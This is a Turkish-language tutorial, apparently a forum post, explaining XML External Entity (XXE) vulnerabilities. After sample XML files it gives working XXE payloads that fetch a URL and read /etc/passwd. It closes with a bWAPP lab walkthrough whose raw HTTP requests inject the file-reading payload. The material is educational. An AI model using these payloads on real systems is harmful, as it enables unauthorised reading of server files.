XML EXTERNAL ENTITY (XXE)
Merhaba, bu yazıda XXE zafiyetini elimden geldiğince anlatmaya çalışacağım. İlk başta XML'in ne olduğunu ve nerelerde kullanıldığını anlayalım.XML: Verileri düzenli ve taşınabilir bir biçimde depolamak ve iletmek için kullanılan işaretleme dilidir. Genellikle veri alışverişi ve web servislerinde kullanılır. Aşağıda örnek bir XML dosyası bulunmaktadır:
XML:
<?xml version="1.0"?>
<catalog>
<book id="bk101">
<author>Gambardella, Matthew</author>
<title>XML Developer's Guide</title>
<genre>Computer</genre>
<price>44.95</price>
<publish_date>2000-10-01</publish_date>
<description>An in-depth look at creating applications
with XML.</description>
</book>
<book id="bk102">
<author>Ralls, Kim</author>
<title>Midnight Rain</title>
<genre>Fantasy</genre>
<price>5.95</price>
<publish_date>2000-12-16</publish_date>
<description>A former architect battles corporate zombies,
an evil sorceress, and her own childhood to become queen
of the world.</description>
</book>
</catalog>
Bu, bir kitap kataloğunu tanımlar. Her "book" etiketi bir yazar, başlık, tür, fiyat, yayın tarihi ve açıklama gibi bilgileri içerir. Mesela bu kitap verileri depolamak ve iletmek için kullanılabilir. Aşağıda yine farklı bir XML dosyası bulunmaktadır:
XML:
<?xml version="1.0" encoding="ISO-8859-1"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
Bu bir notu tanımlar. "note" etiketi altında "to", "from", "heading" ve "body" gibi bileşenler bulunur.
Şimdi XML'in bazı özelliklerine göz gezdirelim çünkü bu özellikler XXE zafiyetini sömürürken işimize yarayacak.
HTTP İsteği Göndermek: Aşağıdaki XML dosyası, "xml" adında bir harici varlık oluşturur ve o harici varlığı dış bir URL üzerinden çekeceğini bildirir. "data" etiketi içerisinde çağrılır:
XML:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xml SYSTEM "http://127.0.0.1">
]>
<root>
<data>&xml;</data>
</root>
Dosya Okumak: Aşağıdaki kod, yine dış varlıkları kullanarak hedef uygulamanın yerel dosyalara erişmesini sağlar. Bu arada, "DOCTYPE" DTD'nin başlangıcını belirtir. DTD ise, XML belgelerinin yapısını tanımlayan bir kurallar kümesidir.
XML:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xml SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xml;</data>
</root>
Şimdi XXE'nin tanımına bakabiliriz.
XXE: Bir XML belgesinde dış varlıkların (external entities) kötüye kullanılması yoluyla gerçekleştirilen bir güvenlik açığıdır. Uygulama, XML'i ayrıştırırken dış varlıkları çözümlediğinde bu güvenlik açıkları yaratabilir.
Şimdi bWAPP üzerinden bir lab çözümü ile bu yazıyı bitireceğim:
Kod:
POST /bWAPP/xxe-2.php HTTP/1.1
Host: 192.168.1.106
Content-Length: 59
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Content-type: text/xml; charset=UTF-8
Accept: */*
Origin: http://192.168.1.106
Referer: http://192.168.1.106/bWAPP/xxe-1.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=7pomhdh38le83t47v6j1c8e2k1; security_level=0
Connection: close
<reset><login>bee</login><secret>Any bugs?</secret></reset>
Post verisi ile böyle bir isteğin gittiğini görüyoruz ve yukarıda anlattıklarımı uygulayarak /etc/passwd dosyasını okuyabiliriz:
Kod:
POST /bWAPP/xxe-2.php HTTP/1.1
Host: 192.168.1.106
Content-Length: 151
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Content-type: text/xml; charset=UTF-8
Accept: */*
Origin: http://192.168.1.106
Referer: http://192.168.1.106/bWAPP/xxe-1.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=7pomhdh38le83t47v6j1c8e2k1; security_level=0
Connection: close
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xml SYSTEM "file:///etc/passwd">
]>
<reset><login>&xml;</login><secret>Any bugs?</secret></reset>
Aynı zafiyeti içeren CVE'leri okumak için şu sayfaya gidebilirsiniz: CVE - Search Results
Ayrıca metindeki yazım ve imla hatalarını düzeltmek için ChatGPT kullandım.

